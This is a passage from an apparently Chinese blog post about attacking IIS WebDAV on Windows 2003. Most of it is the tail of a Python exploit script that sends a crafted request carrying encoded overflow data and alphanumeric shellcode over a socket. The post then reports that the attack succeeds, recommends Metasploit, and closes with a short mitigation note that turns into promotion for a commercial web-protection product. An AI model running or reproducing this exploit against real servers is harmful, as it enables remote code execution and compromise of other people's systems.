a9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'
smallsc='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A'
pay+=smallsc
pay+='>\r\n\r\n'
print pay
sock.send(pay)
sock.send(shellcode)
data = sock.recv(80960)  
print data 
sock.close

攻击测试可以成功:

6

解决方案

以上写的所有内容全部都是废话,您要攻击的话直接使用msf就可以了,下面进入正题。

微软已经停止了对WIN2003的漏洞进行修补,在没有补丁的情况下要防护此漏洞,可以禁用IIS的Webdav扩展,但是更方便快捷保险的方法是安装划时代的WEB防护软件云锁,云锁独有的RASP技术对应用系统的流量、上下文、行为进行持续监控,识别及防御已知及未知威胁,能有效防御SQL注入、命令执行、文件上传、任意文件读写、反序列化、Struts2等基于传统签名方式无法有效防护的应用漏洞,可以有效防御0DAY,RASP和检测未知webshell的沙盒,就是云锁高级防护里面的内容。

 

源链接

Hacking more

...